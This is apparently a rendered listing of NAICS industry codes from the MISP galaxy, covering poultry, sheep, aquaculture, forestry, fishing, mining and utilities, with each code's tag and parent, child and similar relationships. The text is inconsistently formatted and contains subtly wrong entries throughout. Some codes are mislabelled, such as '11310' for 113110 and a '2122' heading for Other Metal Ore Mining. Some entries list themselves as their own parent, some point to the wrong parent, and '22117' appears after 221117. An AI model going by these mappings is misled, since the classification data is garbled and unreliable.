• child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="112320" with estimative-language:likelihood-probability="likely"

112320
Broilers and Other Meat Type Chicken Production

The tag is: misp-galaxy:naics="112320"

View relationships graph

112320 has relationships with:

• child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11232" with estimative-language:likelihood-probability="likely"

11233
Turkey Production

The tag is: misp-galaxy:naics="11233"

View relationships graph

11233 has relationships with:

• child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="112330" with estimative-language:likelihood-probability="likely"

112330
Turkey Production

The tag is: misp-galaxy:naics="112330"

View relationships graph

112330 has relationships with:

• child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11233" with estimative-language:likelihood-probability="likely"

11234
Poultry Hatcheries

The tag is: misp-galaxy:naics="11234"

View relationships graph
11234 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112340" with estimative-language:likelihood-probability="likely"

112340
Poultry Hatcheries

The tag is: misp-galaxy:naics="112340"

View relationships graph

112340 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11234" with estimative-language:likelihood-probability="likely"

11239
Other Poultry Production

The tag is: misp-galaxy:naics="11239"

View relationships graph

11239 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112390" with estimative-language:likelihood-probability="likely"

112390
Other Poultry Production

The tag is: misp-galaxy:naics="112390"

View relationships graph

112390 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11239" with estimative-language:likelihood-probability="likely"

1124
Sheep and Goat Farming
The tag is: *misp-galaxy:naics="1124"*

**View relationships graph**

1124 has relationships with:

- child-of: *misp-galaxy:naics="112"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="11241"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="112410"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="11242"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="112420"* with estimative-language:likelihood-probability="likely"

**11241**

Sheep Farming

The tag is: *misp-galaxy:naics="11241"*

**View relationships graph**

11241 has relationships with:

- child-of: *misp-galaxy:naics="112"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="112410"* with estimative-language:likelihood-probability="likely"

**112410**

Sheep Farming

The tag is: *misp-galaxy:naics="112410"*

**View relationships graph**

112410 has relationships with:

- child-of: *misp-galaxy:naics="112"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="11241"* with estimative-language:likelihood-probability="likely"

**11242**

Goat Farming

The tag is: *misp-galaxy:naics="11242"*

**View relationships graph**

11242 has relationships with:


- child-of: misp-galaxy:naics="1124" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112420" with estimative-language:likelihood-probability="likely"

**112420**

Goat Farming

The tag is: *misp-galaxy:naics="112420"*

View relationships graph

112420 has relationships with:

- child-of: misp-galaxy:naics="1124" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11242" with estimative-language:likelihood-probability="likely"

**1125**

Aquaculture

The tag is: *misp-galaxy:naics="1125"*

View relationships graph

1125 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112511" with estimative-language:likelihood-probability="likely"

**11251**

Aquaculture

The tag is: *misp-galaxy:naics="11251"*

View relationships graph

11251 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112511" with estimative-language:likelihood-probability="likely"

**112511**

Finfish Farming and Fish Hatcheries
The tag is: misp-galaxy:naics="112511"

View relationships graph

112511 has relationships with:

• child-of: misp-galaxy:naics="1125" with estimative-language:likelihood-probability="likely"

112512

Shellfish Farming

The tag is: misp-galaxy:naics="112512"

View relationships graph

112512 has relationships with:

• child-of: misp-galaxy:naics="1125" with estimative-language:likelihood-probability="likely"

112519

Other Aquaculture

The tag is: misp-galaxy:naics="112519"

View relationships graph

112519 has relationships with:

• child-of: misp-galaxy:naics="1125" with estimative-language:likelihood-probability="likely"

1129

Other Animal Production

The tag is: misp-galaxy:naics="1129"

View relationships graph

1129 has relationships with:

• child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11291" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="112910" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11292" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="112920" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11293" with estimative-language:likelihood-probability="likely"
11291
Apiculture
The tag is: misp-galaxy:naics="11291"
View relationships graph
11291 has relationships with:
  • child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="112910" with estimative-language:likelihood-probability="likely"

112910
Apiculture
The tag is: misp-galaxy:naics="112910"
View relationships graph
112910 has relationships with:
  • child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="11291" with estimative-language:likelihood-probability="likely"

11292
Horses and Other Equine Production
The tag is: misp-galaxy:naics="11292"
View relationships graph
11292 has relationships with:
  • child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="112920" with estimative-language:likelihood-probability="likely"

112920
Horses and Other Equine Production
The tag is: misp-galaxy:naics="112920"
View relationships graph

112920 has relationships with:
- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11292" with estimative-language:likelihood-probability="likely"

11293
Fur-Bearing Animal and Rabbit Production
The tag is: misp-galaxy:naics="11293"
View relationships graph

11293 has relationships with:
- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112930" with estimative-language:likelihood-probability="likely"

112930
Fur-Bearing Animal and Rabbit Production
The tag is: misp-galaxy:naics="112930"
View relationships graph

112930 has relationships with:
- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11293" with estimative-language:likelihood-probability="likely"

11299
All Other Animal Production
The tag is: misp-galaxy:naics="11299"
View relationships graph

11299 has relationships with:
- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112990" with estimative-language:likelihood-probability="likely"
112990
All Other Animal Production
The tag is: `misp-galaxy:naics="112990"`

View relationships graph
112990 has relationships with:

- child-of: `misp-galaxy:naics="1129"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="11299"` with estimative-language:likelihood-probability="likely"

113
Forestry and Logging
The tag is: `misp-galaxy:naics="113"`

View relationships graph
113 has relationships with:

- child-of: `misp-galaxy:naics="11"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="1131"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="1132"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="1133"` with estimative-language:likelihood-probability="likely"

1131
Timber Tract Operations
The tag is: `misp-galaxy:naics="1131"`

View relationships graph
1131 has relationships with:

- child-of: `misp-galaxy:naics="11"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="11311"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="113110"` with estimative-language:likelihood-probability="likely"

11311
Timber Tract Operations
The tag is: `misp-galaxy:naics="11311"`
11311 has relationships with:

- child-of: misp-galaxy:naics="1131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="113110" with estimative-language:likelihood-probability="likely"

11310
Timber Tract Operations
The tag is: misp-galaxy:naics="113110"

113110 has relationships with:

- child-of: misp-galaxy:naics="1131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11311" with estimative-language:likelihood-probability="likely"

1132
Forest Nurseries and Gathering of Forest Products
The tag is: misp-galaxy:naics="1132"

1132 has relationships with:

- child-of: misp-galaxy:naics="113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="113210" with estimative-language:likelihood-probability="likely"

11321
Forest Nurseries and Gathering of Forest Products
The tag is: misp-galaxy:naics="11321"

11321 has relationships with:

- child-of: misp-galaxy:naics="1132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="113210" with estimative-language:likelihood-probability="likely"
113210
Forest Nurseries and Gathering of Forest Products

The tag is: `misp-galaxy:naics="113210"`

View relationships graph

113210 has relationships with:

- child-of: `misp-galaxy:naics="1132"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="11321"` with estimative-language:likelihood-probability="likely"

1133
Logging

The tag is: `misp-galaxy:naics="1133"`

View relationships graph

1133 has relationships with:

- child-of: `misp-galaxy:naics="113"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="11331"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="113310"` with estimative-language:likelihood-probability="likely"

11331
Logging

The tag is: `misp-galaxy:naics="11331"`

View relationships graph

11331 has relationships with:

- child-of: `misp-galaxy:naics="1133"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="113310"` with estimative-language:likelihood-probability="likely"

113310
Logging

The tag is: `misp-galaxy:naics="113310"`

View relationships graph
113310 has relationships with:

- child-of: misp-galaxy:naics="1133" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11331" with estimative-language:likelihood-probability="likely"

114
Fishing, Hunting and Trapping
The tag is: misp-galaxy:naics="114"

View relationships graph

114 has relationships with:

- child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1142" with estimative-language:likelihood-probability="likely"

1141
Fishing
The tag is: misp-galaxy:naics="1141"

View relationships graph

1141 has relationships with:

- child-of: misp-galaxy:naics="114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="114111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="114112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="114119" with estimative-language:likelihood-probability="likely"

11411
Fishing
The tag is: misp-galaxy:naics="11411"

View relationships graph

11411 has relationships with:

- child-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"
114111
Finfish Fishing
The tag is: misp-galaxy:naics="114111"
View relationships graph
114111 has relationships with:
  • child-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"

114112
Shellfish Fishing
The tag is: misp-galaxy:naics="114112"
View relationships graph
114112 has relationships with:
  • child-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"

114119
Other Marine Fishing
The tag is: misp-galaxy:naics="114119"
View relationships graph
114119 has relationships with:
  • child-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"

1142
Hunting and Trapping
The tag is: misp-galaxy:naics="1142"
View relationships graph
1142 has relationships with:
  • child-of: misp-galaxy:naics="114" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="11421" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="114210" with estimative-language:likelihood-probability="likely"
11421
Hunting and Trapping
The tag is: misp-galaxy:naics="11421"

View relationships graph

11421 has relationships with:

• child-of: misp-galaxy:naics="1142" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="114210" with estimative-language:likelihood-probability="likely"

114210
Hunting and Trapping
The tag is: misp-galaxy:naics="114210"

View relationships graph

114210 has relationships with:

• child-of: misp-galaxy:naics="1142" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11421" with estimative-language:likelihood-probability="likely"

115
Support Activities for Agriculture and Forestry
The tag is: misp-galaxy:naics="115"

View relationships graph

115 has relationships with:

• child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1152" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1153" with estimative-language:likelihood-probability="likely"

1151
Support Activities for Crop Production
The tag is: misp-galaxy:naics="1151"

View relationships graph
1151 has relationships with:

- child-of: misp-galaxy:naics="115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115115" with estimative-language:likelihood-probability="likely"

11511

Support Activities for Crop Production

The tag is: misp-galaxy:naics="11511"

View relationships graph

11511 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115111

Cotton Ginning

The tag is: misp-galaxy:naics="115111"

View relationships graph

115111 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115112

Soil Preparation, Planting, and Cultivating

The tag is: misp-galaxy:naics="115112"

View relationships graph

115112 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"
115113
Crop Harvesting, Primarily by Machine
The tag is: *misp-galaxy:naics="115113"

View relationships graph

115113 has relationships with:
- child-of: *misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115114
Postharvest Crop Activities (except Cotton Ginning)
The tag is: *misp-galaxy:naics="115114"

View relationships graph

115114 has relationships with:
- child-of: *misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115115
Farm Labor Contractors and Crew Leaders
The tag is: *misp-galaxy:naics="115115"

View relationships graph

115115 has relationships with:
- child-of: *misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115116
Farm Management Services
The tag is: *misp-galaxy:naics="115116"

View relationships graph

115116 has relationships with:
- child-of: *misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"
1152
Support Activities for Animal Production
The tag is: misp-galaxy:naics="1152"
View relationships graph

1152 has relationships with:
  • child-of: misp-galaxy:naics="115" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="11521" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="115210" with estimative-language:likelihood-probability="likely"

11521
Support Activities for Animal Production
The tag is: misp-galaxy:naics="11521"
View relationships graph

11521 has relationships with:
  • child-of: misp-galaxy:naics="1152" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="115210" with estimative-language:likelihood-probability="likely"

115210
Support Activities for Animal Production
The tag is: misp-galaxy:naics="115210"
View relationships graph

115210 has relationships with:
  • child-of: misp-galaxy:naics="1152" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="11521" with estimative-language:likelihood-probability="likely"

1153
Support Activities for Forestry
The tag is: misp-galaxy:naics="1153"
View relationships graph
1153 has relationships with:

- child-of: misp-galaxy:naics="115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115310" with estimative-language:likelihood-probability="likely"

11531

Support Activities for Forestry

The tag is: misp-galaxy:naics="11531"

View relationships graph

11531 has relationships with:

- child-of: misp-galaxy:naics="1153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="115310" with estimative-language:likelihood-probability="likely"

115310

Support Activities for Forestry

The tag is: misp-galaxy:naics="115310"

View relationships graph

115310 has relationships with:

- child-of: misp-galaxy:naics="1153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11531" with estimative-language:likelihood-probability="likely"

21

Mining, Quarrying, and Oil and Gas Extraction

The tag is: misp-galaxy:naics="21"

View relationships graph

21 has relationships with:

- parent-of: misp-galaxy:naics="211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
211
Oil and Gas Extraction
The tag is: misp-galaxy:naics="211"

View relationships graph

211 has relationships with:

- child-of: misp-galaxy:naics="21" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2111" with estimative-language:likelihood-probability="likely"

2111
Oil and Gas Extraction
The tag is: misp-galaxy:naics="2111"

View relationships graph

2111 has relationships with:

- child-of: misp-galaxy:naics="211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="211120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21113" with estimative-language:likelihood-probability="likely"

21112
Crude Petroleum Extraction
The tag is: misp-galaxy:naics="21112"

View relationships graph

21112 has relationships with:

- child-of: misp-galaxy:naics="211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="211120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21113" with estimative-language:likelihood-probability="likely"

211120
Crude Petroleum Extraction
The tag is: misp-galaxy:naics="211120"
211120 has relationships with:

- child-of: misp-galaxy:naics="2111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21112" with estimative-language:likelihood-probability="likely"

2113

Natural Gas Extraction

The tag is: misp-galaxy:naics="2113"

211130

Natural Gas Extraction

The tag is: misp-galaxy:naics="211130"

212

Mining (except Oil and Gas)

The tag is: misp-galaxy:naics="212"
2121
Coal Mining
The tag is: misp-galaxy:naics="2121"
View relationships graph
2121 has relationships with:
• child-of: misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="21211" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="212114" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="212115" with estimative-language:likelihood-probability="likely"

21211
Coal Mining
The tag is: misp-galaxy:naics="21211"
View relationships graph
21211 has relationships with:
• child-of: misp-galaxy:naics="2121" with estimative-language:likelihood-probability="likely"

212114
Surface Coal Mining
The tag is: misp-galaxy:naics="212114"
View relationships graph
212114 has relationships with:
• child-of: misp-galaxy:naics="2121" with estimative-language:likelihood-probability="likely"

212115
Underground Coal Mining
The tag is: misp-galaxy:naics="212115"
View relationships graph
212115 has relationships with:
2122

Metal Ore Mining

The tag is: *misp-galaxy:naics="2122"

View relationships graph

2122 has relationships with:

• child-of: *misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="21221" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="212210" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="21222" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="212220" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="21223" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="212230" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="21229" with estimative-language:likelihood-probability="likely"
• parent-of: *misp-galaxy:naics="212290" with estimative-language:likelihood-probability="likely"

21221

Iron Ore Mining

The tag is: *misp-galaxy:naics="21221"

View relationships graph

21221 has relationships with:

• child-of: *misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
• similar: *misp-galaxy:naics="212210" with estimative-language:likelihood-probability="likely"

212210

Iron Ore Mining

The tag is: *misp-galaxy:naics="212210"

View relationships graph

212210 has relationships with:

• child-of: *misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
21222
Gold Ore and Silver Ore Mining
The tag is: `misp-galaxy:naics="21222"`

View relationships graph

21222 has relationships with:

- child-of: `misp-galaxy:naics="2122"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="212220"` with estimative-language:likelihood-probability="likely"

212220
Gold Ore and Silver Ore Mining
The tag is: `misp-galaxy:naics="212220"`

View relationships graph

212220 has relationships with:

- child-of: `misp-galaxy:naics="2122"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="212222"` with estimative-language:likelihood-probability="likely"

21223
Copper, Nickel, Lead, and Zinc Mining
The tag is: `misp-galaxy:naics="21223"`

View relationships graph

21223 has relationships with:

- child-of: `misp-galaxy:naics="2122"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="212230"` with estimative-language:likelihood-probability="likely"

212230
Copper, Nickel, Lead, and Zinc Mining
The tag is: `misp-galaxy:naics="212230"`

View relationships graph
212230 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21223" with estimative-language:likelihood-probability="likely"

### 2122

**Other Metal Ore Mining**

The tag is: misp-galaxy:naics="2122"

View relationships graph

2122 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="212290" with estimative-language:likelihood-probability="likely"

### 212290

**Other Metal Ore Mining**

The tag is: misp-galaxy:naics="212290"

View relationships graph

212290 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21229" with estimative-language:likelihood-probability="likely"

### 2123

**Nonmetallic Mineral Mining and Quarrying**

The tag is: misp-galaxy:naics="2123"

View relationships graph

2123 has relationships with:

- child-of: misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212319" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="21232" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="212321" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="212322" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="212323" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="21239" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="212390" with estimative-language:likelihood-probability="likely"

21231
Stone Mining and Quarrying
The tag is: misp-galaxy:naics="21231"

View relationships graph

21231 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212311
Dimension Stone Mining and Quarrying
The tag is: misp-galaxy:naics="212311"

View relationships graph

212311 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212312
Crushed and Broken Limestone Mining and Quarrying
The tag is: misp-galaxy:naics="212312"

View relationships graph

212312 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212313
Crushed and Broken Granite Mining and Quarrying
The tag is: misp-galaxy:naics="212313"
View relationships graph

212313 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212319

Other Crushed and Broken Stone Mining and Quarrying

The tag is: misp-galaxy:naics="212319"

View relationships graph

212319 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

21232

Sand, Gravel, Clay, and Ceramic and Refractory Minerals Mining and Quarrying

The tag is: misp-galaxy:naics="21232"

View relationships graph

21232 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212321

Construction Sand and Gravel Mining

The tag is: misp-galaxy:naics="212321"

View relationships graph

212321 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212322

Industrial Sand Mining

The tag is: misp-galaxy:naics="212322"

View relationships graph
212322 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212323
Kaolin, Clay, and Ceramic and Refractory Minerals Mining
The tag is: misp-galaxy:naics="212323"

View relationships graph

212323 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

21239
Other Nonmetallic Mineral Mining and Quarrying
The tag is: misp-galaxy:naics="21239"

View relationships graph

21239 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="212390" with estimative-language:likelihood-probability="likely"

212390
Other Nonmetallic Mineral Mining and Quarrying
The tag is: misp-galaxy:naics="212390"

View relationships graph

212390 has relationships with:
  • child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="21239" with estimative-language:likelihood-probability="likely"

213
Support Activities for Mining
The tag is: misp-galaxy:naics="213"

View relationships graph
213 has relationships with:

- child-of: misp-galaxy:naics="21" with estimative-language:likelihood-probability="likely"

2131

Support Activities for Mining

The tag is: misp-galaxy:naics="2131"

View relationships graph

2131 has relationships with:

- child-of: misp-galaxy:naics="213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213114" with estimative-language:likelihood-probability="likely"

21311

Support Activities for Mining

The tag is: misp-galaxy:naics="21311"

View relationships graph

21311 has relationships with:

- child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

213111

Drilling Oil and Gas Wells

The tag is: misp-galaxy:naics="213111"

View relationships graph

213111 has relationships with:

- child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"
213112
Support Activities for Oil and Gas Operations
The tag is: misp-galaxy:naics="213112"
View relationships graph
213112 has relationships with:

• child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

213113
Support Activities for Coal Mining
The tag is: misp-galaxy:naics="213113"
View relationships graph
213113 has relationships with:

• child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

213114
Support Activities for Metal Mining
The tag is: misp-galaxy:naics="213114"
View relationships graph
213114 has relationships with:

• child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

213115
Support Activities for Nonmetallic Minerals (except Fuels) Mining
The tag is: misp-galaxy:naics="213115"
View relationships graph
213115 has relationships with:

• child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"
22
Utilities
The tag is: misp-galaxy:naics="22"

View relationships graph
22 has relationships with:
  • parent-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"

221
Utilities
The tag is: misp-galaxy:naics="221"

View relationships graph
221 has relationships with:
  • child-of: misp-galaxy:naics="22" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="2212" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"

2211
Electric Power Generation, Transmission and Distribution
The tag is: misp-galaxy:naics="2211"

View relationships graph
2211 has relationships with:
  • child-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="22111" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="221111" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="221112" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="221113" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="221114" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="221115" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="221116" with estimative-language:likelihood-probability="likely"
22111

Electric Power Generation

The tag is: `misp-galaxy:naics="22111"`

View relationships graph

22111 has relationships with:

- child-of: `misp-galaxy:naics="2211"` with estimative-language:likelihood-probability="likely"

221111

Hydroelectric Power Generation

The tag is: `misp-galaxy:naics="221111"`

View relationships graph

221111 has relationships with:

- child-of: `misp-galaxy:naics="2211"` with estimative-language:likelihood-probability="likely"

221112

Fossil Fuel Electric Power Generation

The tag is: `misp-galaxy:naics="221112"`

View relationships graph

221112 has relationships with:

- child-of: `misp-galaxy:naics="2211"` with estimative-language:likelihood-probability="likely"

221113

Nuclear Electric Power Generation

The tag is: `misp-galaxy:naics="221113"`
221113 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221114
Solar Electric Power Generation
The tag is: misp-galaxy:naics="221114"

221115
Wind Electric Power Generation
The tag is: misp-galaxy:naics="221115"

221116
Geothermal Electric Power Generation
The tag is: misp-galaxy:naics="221116"

221117
Biomass Electric Power Generation
The tag is: misp-galaxy:naics="221117"
22117 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

**22118**

Other Electric Power Generation

The tag is: misp-galaxy:naics="22118"

View relationships graph

